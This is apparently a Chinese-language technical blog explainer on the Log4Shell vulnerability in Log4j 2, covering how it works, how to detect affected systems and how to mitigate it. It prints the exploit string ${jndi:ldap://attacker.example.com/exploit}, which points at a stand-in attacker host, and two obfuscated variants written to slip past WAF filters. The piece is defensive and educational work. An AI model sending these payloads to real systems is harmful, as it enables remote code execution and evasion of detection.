2021年冬天,很多安全群突然炸了锅。起因不是哪家巨头又泄露了数据,而是一个几乎每个Java项目里都会出现的组件——Log4j 2——被爆出了远程代码执行漏洞,编号CVE-2021-44228,也就是后来人人都在说的Log4Shell。我当时的第一反应和周围大多数人一样:一个打印日志的库,凭什么能把代码执行权交给一个陌生人?后来把整条链路从头到尾捋了一遍,才发现这个漏洞真正厉害的地方不是某个高深技术,而是几个基础机制恰好被串在了一起:日志框架在格式化阶段会主动求值${...}占位符,占位符里又可以写jndi协议,而JNDI接口又允许程序去远程取值并加载类。这篇文章就是把这几块逐个拆开、再串起来讲清楚,不预设你已经了解Java内部实现,只要有基本的编程概念,就能一口气跟下来。如果你是安全工程师、开发、运维,甚至只是需要给团队做一次技术分享,这篇应该都能直接当底稿用。
1. 先定位:Log4j 2在Java应用里到底是干什么的
很多人一听到“日志组件漏洞”就觉得不可思议,根源是压根没把日志框架当成一个“有执行能力”的组件。要理解Log4Shell,第一步就是扭转这个认知:日志框架并不是傻乎乎的文本记录员,它在写日志之前会做大量格式化、解析、路由的活,而这个处理过程里埋着很多“能力接口”。
1.1 一条日志的诞生:从LogEvent到Layout再到Appender
我尽量用大白话描述。你调用log.info("用户下单成功,订单号:{}", orderId)时,Log4j 2内部会先创建一个LogEvent对象,把这条日志的级别、时间、线程、消息内容、上下文参数都装进去。随后Layout负责“排版”,把它变成最终要写出去的字符串,比如加上时间戳、线程名、日志级别这些前缀。最后Appender负责“投递”,控制台、文件、网络收集端各找各的出口。
关键就在Layout这一层。开发者经常在配置文件里写类似<PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss} [%t] %-5level %logger{36} - %msg%n"/>这样的模板,其中%d、%t这些是框架内置的转义符。为了更灵活,Log4j 2还纳入了另一个特性:占位符查找(Lookup)。什么意思呢?就是除了%d这类转义符,它还支持在消息文本里直接嵌${...},运行时由框架自动替换成对应的值。这个特性本意是好的——配置里可以写${sys:user.home}来动态指到用户目录,写${env:PATH}读环境变量。但问题是,这个“自动替换”发生在每一条进入框架的日志消息上,于是它就从“配置便利”变成了“执行入口”。
1.2 用户输入是怎么“溜”进日志的
攻击者要触发这个执行入口,前提是他的输入能到达日志消息里。这一点对很多Java应用来说简直太容易了。
最常见的几种场景:
- HTTP请求头,尤其是User-Agent、X-Forwarded-For、Referer这类字段,不少应用为了排查问题会原样打日志;
- URL请求参数,很多框架的访问日志会把整个URL和参数串打出来;
- 异常堆栈,业务代码捕获异常后,习惯性
log.error("处理失败", e),而异常消息里可能包含远端传入的内容; - 业务字段,比如注册用户名、订单备注、文件名称,这些最终都会进数据库或日志。
攻击者只需要在任意一个能被记日志的输入点,塞入一段特殊构造的字符串,日志框架就会傻乎乎地把它当成“配置片段”去解析。这就像你在银行柜台填写单子,柜员不会怀疑单子上的内容是恶意指令,反而会认真执行。搞清楚这一点,你对Log4Shell的理解就完成了第一步:这不是业务代码的锅,是日志框架自己把用户输入“当代码读了”。
2. 三个关键零件:消息格式化、Lookup机制、JNDI接口
接下来把漏洞的三块积木分别看清楚。它们都是Java生态里为了便利而生的普通机制,分开看都不算新鲜,组合在一起却成了一枚大杀器。
2.1 ${...}的递归求值:日志框架里的“自动计算”
先看消息格式化阶段发生了什么。Log4j 2在格式化消息时,会把${...}这种结构的字符串提取出来,交给内部一个叫StrSubstitutor的组件做变量替换。这个组件的设计哲学是“尽量满足你”,它支持多重嵌套、多层递归,比如${${...}}这种结构它也能一层层剥开求值。说白了,它就像Excel里输入公式:你在单元格里敲=1+1,Excel不会老老实实存这段文本,而是直接算出结果2。日志框架看到${...}也一样,它会主动求值,并把计算结果替换进去。
这就是这个漏洞最反直觉的地方。正常程序员写log.info("userAgent=" + userAgent),脑子里想的是“把一段字符串原样打印出来”,但日志框架想的却是“这段字符串里可能有占位符,我得先算完再写”。一个“自动计算”的日志框架,遇到攻击者精心构造的字符串,等于把用户输入推到了解释器面前。
2.2 前缀分发:Interpolator与Lookup插件家族
Log4j 2并不是自己处理所有${...},它会根据前缀把活分发给对应的Lookup插件。这里的前缀就是第一个冒号前面的单词。比如:
${ctx:userId}:从线程上下文Map里取值;${sys:java.version}:读系统属性;${env:PATH}:读环境变量;${date:yyyy-MM-dd}:格式化日期;${jndi:ldap://...}:走JNDI接口去查询外部资源。
这个分发动作由一个叫Interpolator的组件完成,它相当于一个“中转站”,解析出前缀后把剩余部分交给响应的处理类。JndiLookup只是Lookup插件家族里的普通一员,但它背后对接的JNDI接口权限实在太大,一旦被恶意调用,就能从“打印日志”一路滑向“远程加载代码”。所以从设计角度看,这个漏洞本质是Log4j 2把一个高风险的接口能力注册成了默认开启的日志格式化功能。
2.3 JNDI:听起来高级,本质就是“按名找对象”
说到JNDI,很多人会本能地退缩,觉得这是Java一堆缩写里最晦涩的一个。拆开看其实没多复杂。JNDI全称Java Naming and Directory Interface,直译是“Java命名与目录接口”,说人话就是:给我一个名字,我帮你找到对应的对象。
你可以把它想成电话簿。你在程序里写下lookup("张三"),就相当于问JNDI:“张三的电话是多少?”它返回一个对象给你。关键在于,这个“名字”本身可以写成一个URL地址,比如ldap://某台服务器/某个条目。于是JNDI在解析这个名字时,会真的发起一次LDAP网络请求,去那台服务器的389或1389端口询问道:“这个条目指向哪?”目录服务器返回的,可以是一段配置数据,也可以是一个对象引用,甚至是一个远程类的下载地址。这已经不是“查电话簿”,而是“电话簿里还夹着一张快递单,按单取件还能签收并拆箱”。
正是这个“拆箱”能力,让Log4Shell从一次字符串解析升级成了完整的远程代码执行链。
3. 从一行日志到远程代码执行:七步链路逐步推演
现在我们把整条攻击链串起来。以下内容是理解漏洞原理的最小演示,我不展开攻击者怎么搭环境、怎么绕过,只把机制上的每一步讲清楚。你最好带着“原来日志是这么一步步被带入深渊”的心态来读。
3.1 攻击者在请求里放的那串字符
攻击者会让某个请求字段携带这样一个字符串(payload):
${jndi:ldap://attacker.example.com/exploit}把它放在User-Agent里也好,放在请求参数里也好,只要业务代码把它写进日志,字符串就会被原样带到日志框架的消息格式化阶段。
这一刻,攻击者不再是一个HTTP请求的发送方,而是变成了一个给日志框架“下达指令”的人。他的输入不再是数据,而是即将被解释执行的“代码片段的种子”。
3.2 从字符串到网络请求:lookup()做了什么
服务端执行log.info("request from: " + userAgent)后,Layout开始格式化。StrSubstitutor一眼认出${...},剥出前缀jndi,交给Interpolator分发给JndiLookup。JndiLookup拿到完整地址ldap://attacker.example.com/exploit后,会调用Java标准库里的InitialContext.lookup()去执行查询。
就这样,一条原本只该落在本地磁盘上的日志,引发了一次真真切切的外部网络请求。这个请求的目标是攻击者控制的LDAP服务器,目录条目是exploit。
3.3 LDAP响应里的“定时炸弹”:Reference与远程类加载
攻击者的LDAP服务器收到查询后,返回一个javax.naming.Reference对象。这个引用对象里包含两个关键信息:
- javaFactory:一个类名,比如
Exploit; - javaCodeBase:一个URL地址,比如
http://attacker.example.com/。
Java客户端拿到这个Reference后,会尝试在本地类路径里找Exploit类。找不到,就顺着javacodebase指向的地址发起一次HTTP请求,下载Exploit.class字节码。这一步是整条链路真正的“落地点”:原本只是日志消息里的一个字符串,现在却变成了新类的加载来源。
3.4 类被实例化:静态初始化块里的命令执行
一旦远程的class字节码被拉下来,JVM会在本地定义这个类,然后在某个时刻对它做实例化。攻击者只需要把要执行的命令写在类的静态初始化块或者构造函数里,类一加载、一实例化,命令就在目标机器上以Java进程的权限运行了。
到这里,七步链路正式闭环:
| 阶段 | 触发位置 | 发生了什么 |
|---|---|---|
| 字符串进入日志 | 业务代码 | 攻击者输入被写入日志消息 |
| 格式化识别 | StrSubstitutor | 发现${...}并开始求值 |
| 前缀分发 | Interpolator | 识别jndi:,转发给JndiLookup |
| 远程查询 | JNDI/LDAP客户端 | 向攻击者服务器发起LDAP请求 |
| 获取引用 | LDAP目录服务 | 返回Reference,内含远程类位置 |
| 下载字节码 | HTTP/URLClassLoader | 从远程地址拉取class文件 |
| 实例化执行 | 类加载器 | 静态初始块/构造函数中的命令被执行 |
3.5 关键变量:JDK版本如何影响利用难度
很多人问,既然这个漏洞这么“无解”,那为什么同一套payload在不同环境里的效果不一样?答案很大程度在JDK版本上。
Java有一个安全开关叫com.sun.jndi.ldap.object.trustURLCodebase,它控制着JVM是否允许从远程LDAP引用里加载类。在老版本JDK里这个开关默认是开的,所以攻击者一套payload就能直接命令执行。后来的JDK版本把它默认关掉了,远程类加载这一步被拦下,利用门槛大幅提高。但请注意,门槛提高不等于漏洞不危险——攻击者还可以尝试从目标进程的本地classpath里找可利用的factory类,或者改用RMI等其他JNDI协议,继续变着法子打。这也是为什么官方始终强调,修复方案是升级组件,而不是“换个高版本JDK就完事”。
4. 影响面为何如此夸张:普及率、入口与绕过手段
Log4Shell能成为2021年最轰动的组件漏洞,不只是因为原理精巧,更因为它踩中了好几个“地雷”:组件普及率极高、触发入口极多、OWASP(这个组织名字就不提了)级别的ATT&CK矩阵绕不过去。
4.1 基本盘:Log4j 2是Java生态的“自来水管道”
对于Java服务端开发者来说,Log4j 2几乎等同于日志的默认语言。项目里引入的Web框架、微服务组件、大数据处理引擎,依赖树里可能都挂着它。很多时候,开发者甚至不知道自己依赖的某个中间件内部用了Log4j 2,直到扫描器把一个红色预警怼到脸上。
这就相当于一栋大楼的自来水管道全用了同一品牌型号的接头,结果发现这个接头有个通病:只要水流经过,就可能触发某种机械动作。你没法靠“少用某个房间的水龙头”来规避,因为管道已经埋在墙里了。
4.2 入口点:为什么日志成了最容易被利用的位置
传统漏洞经常需要条件,比如要登录、要上传、要某个特定功能点存在。Log4Shell不挑这些。日志是几乎每个Web请求的必经之路,而且很多字段是攻击者可以直接控制的:一个HTTP请求打过来,只要服务端把请求头或参数打进了日志,攻击就完成了“播种”。
更难受的是,攻击不需要回显。即使服务器完全没有把命令执行结果返回给攻击者,攻击者也可以通过一次DNS查询来确认漏洞是否触发,这就是安全圈常说的“带外通道”。换句话说,攻击者不需要看到屏幕上的输出,只要让目标机器偷偷访问一下他能监控的地址,就能确认自己有没有打进去。这让那些内网隔离、无回显的环境也谈不上绝对安全。
4.3 黑名单绕过的“猫鼠游戏”
Log4Shell爆出来后,很多防护设备的规则紧急上线,盯着明文特征${jndi:匹配。但很快防守方就发现,这个特征根本堵不住。
攻击者可以玩的大小写游戏、嵌套游戏、拆字游戏多得很。比如:
${${lower:j}ndi:ldap://attacker.example.com/exploit} ${${::-j}ndi:${::-l}${::-d}${::-a}${::-p}://attacker.example.com/exploit}前一个用lower函数把J转成小写来绕黑名单,后一个直接把ldap这几个字母拆成一段段字面量再拼接。只要Log4j 2的递归求值机制还在,攻击者就能构造出成千上万种“看着不像、算完就是”的变体。单纯依赖WAF签名做防护,本质上是在和一个拥有无限字符串生成能力的对手拼写规则。
5. 排查是否中招:制品、运行时、流量三条线
假设现在你手上有一堆系统要排查,别慌,按下面三条线来比较稳。
5.1 制品层:翻lib、翻jar、翻依赖树
第一步永远是把家里翻一遍,看看哪些组件装的是受影响版本。先找log4j-core的jar包:
find /opt /app /usr/local -name "log4j-core*.jar" 2>/dev/null找到后不要只看文件名,很多集成商喜欢改包名或重新打包,稳妥起见要验证内部真正跑的是哪个版本。如果jar包里还带着Maven的元信息,可以直接解压查看:
unzip -p /path/to/log4j-core-2.14.1.jar META-INF/maven/org.apache.logging.log4j/log4j-core/pom.properties对于打成fat jar的应用,先用unzip -l app.jar看一下目录结构,再去BOOT-INF/lib或WEB-INF/lib里继续翻内嵌的log4j-core。更彻底的办法是直接用现成的开源依赖扫描工具跑一遍制品仓库,把所有依赖树里涉及Log4j 2的组件圈出来。注意,这里要看的不是“声明版本”,而是实际打进去的版本,两者经常不一致。
5.2 运行时层:日志异常与外连端口
如果系统已经在运行,光翻jar还不够,还得看运行时行为。
打开应用日志,搜索这些关键词:JNDI、javax.naming、lookup、LDAP。如果看到类似“Error looking up JNDI resource”的堆栈,说明已经有人往这个系统投喂过恶意占位符了,十有八九被探测过。
同时观察java进程的网络连接。使用操作系统自带的连接查询命令,筛出java进程到外部的连接,尤其关注389、1389、1099这类端口。如果业务本身没有LDAP、RMI相关功能,却出现到陌生IP的这些端口连接,那就不是巧合,需要立刻启动应急流程。
提示:排查时要同时留意历史日志。攻击者可能已经触发过漏洞但失败,这类失败尝试一样会留下痕迹,有助于判断攻击者是否已经扫描过你的系统。
5.3 流量层:特征检测能做什么、做不了什么
流量检测的关键词可以覆盖${jndi:、ldap://、rmi://这些明文特征,正则怎么写我就不展开了,网上有大量规则库可以直接抄。但心里要有数:这一层只能拦住“没怎么伪装的流量”,遇到嵌套变体和编码变体,特征规则很大概率漏掉。
所以流量层不能作为唯一防线,更重要的检测思路是看行为:某个内部系统为什么突然发起大量LDAP查询?为什么一个没有外联权限的主机开始向外网发起请求?行为异常比字符串匹配可靠得多。
6. 修复的优先级:升级、参数缓解、删除类与出网兜底
排查出问题之后,修复也要分主次。我按优先级从高到低给你捋一遍。
6.1 第一选择:升级到修复版本
能升版本就升版本,这条没有捷径。Log4j 2官方的修复节奏是这样的:
| 版本 | 变化 |
|---|---|
| 2.15.0 | 默认限制JNDI协议为java,消息层Lookup默认关闭 |
| 2.16.0 | 彻底移除消息Lookup机制,更严格地默认关闭JNDI |
| 2.17.0 | 继续修复后续发现的衍生漏洞 |
升级的时候要注意兼容性。很多老中间件、老框架写死了一些Log4j 2内部类名,贸然升到2.17.0可能引发启动报错。稳妥做法是在测试环境先回归一遍关键业务链路,尤其是日志输出格式、日志采集、基于日志的告警是否还正常。不要只看“能启动”,还要看“日志有没有少”。
6.2 临时缓解:formatMsgNoLookups的正确姿势
如果因为兼容性等原因暂时升不了级,2.10及以上版本还可以用系统属性做临时缓解:
-Dlog4j2.formatMsgNoLookups=true这个开关的作用是让消息格式化阶段不再展开${...},等于从源头上掐断攻击链的一环。配置生效后,可以用进程管理工具查看一下系统属性是否真的被加载,别配完了发现根本没生效。
踩坑提醒:这个配置应该放在JVM系统参数或log4j2.component.properties里,不是简单写进业务配置文件就完事。另外,在2.10以前的老版本里根本没有这个开关,配置了也没用,只能靠升级或删类来处理。
6.3 暴力但有效:直接删掉JndiLookup类
对于实在动不了的老系统,有个被广泛验证过的应急方案:把jar包里的JndiLookup类直接删掉。
zip -d log4j-core-2.14.1.jar org/apache/logging/log4j/core/lookup/JndiLookup.class改完之后的jar包要重新校验,比如用unzip -l确认类真的不在。这么做的影响面是:所有走JNDI查询的日志配置功能会失效,但对绝大多数业务系统来说,这个能力本来就没人在用。
需要注意,删除类只适用于那些以jar形式发布的组件。如果Log4j 2被静态编译进了原生镜像,或者通过其他方式分发,这条方案就不适用了。
6.4 兜底措施:出网限制
就算前面所有修复都做了,我还是建议把网络层兜底也补上。很多业务服务器根本不需要主动访问外网,在防火墙或安全组层面直接拒绝这类服务器到外部IP的主动连接,攻击者就算把链路跑通了,也没法从外部投递恶意类或接收回传数据。
出网限制虽然不能修复漏洞本身,但可以大幅降低实际危害。它和版本升级不是二选一的关系,而是叠加使用的。真实的攻防里,网络层策略往往能救命。
7. 这枚漏洞留下的三个可迁移认知
每出一次大漏洞,都是一次免费的安全教育。Log4Shell除了技术细节,至少留下来三件事值得每个干这行的人记住。
7.1 基础组件才是最危险的攻击面
很多团队的安全预算都花在自研业务的代码审计上,却忽略了基础组件这座“沉默的冰山”。日志、缓存、消息队列、数据库驱动,这些组件平时不发声,一出事就是全网等级最高的漏洞。它们被嵌入在无数系统的依赖树里,版本老旧、无人维护、甚至都不知道自己装了。
经过Log4Shell之后,我给自己的项目立了条规矩:依赖清单的版本状态要纳入常规巡检,不只盯业务代码,更要盯那些“你以为不会出事”的底层库。
7.2 数据与代码之间没有天然边界
Log4j 2把用户输入当成${...}去解析,本质上是把数据当成了代码。这类问题其实随处可见:模板引擎把用户输入当模板变量解析、动态SQL把参数当语句拼接、反序列化把字节流当对象还原。它们的共同点是,某段输入同时具有“数据”和“指令”双重身份,而框架选了解释执行。
安全研究里常说的“注入”,本质上都是这个模型。以后看到一个组件声称自己“支持动态模板、表达式求值、脚本扩展”,你先别高兴它能带来多少便利,第一反应应该是:这个解释器离用户输入有多远?
7.3 默认安全应该成为选型底线
Log4j 2当初把JNDI查找设计成开箱即用,本意是方便配置,结果成了全球范围内最严重的漏洞入口之一。这给所有做架构选型的人提了个醒:一个“看起来很强大”的能力,如果没有需求就别默认开。真正靠谱的设计是“默认安全、按需放开”,而不是“默认全开、出事再关”。
我自己后来在做技术选型时,会特意去看组件的默认配置清单,凡是涉及远程加载、动态执行、外部请求的能力,一律要求显示开启并经过评审。虽然这套流程一开始觉得繁琐,但经过Log4Shell之后,我发自内心地觉得繁琐得值。
最后再分享一点个人体会:Log4Shell过去之后,很多团队把修复版本升级完就觉得完事大吉,但真正值得复盘的不是“我们升到了哪个版本”,而是“我们有没有一套能快速搞清楚自己系统里都装了什么的流程”。那个冬天我最深刻的感触是,安全工作的日常积累,决定了你在面对突发漏洞时是手忙脚乱还是从容应对。希望这篇长文能帮你把Log4Shell从头到尾吃透,也提醒自己在下一个“Log4Shell”出现之前,先把基本功练扎实。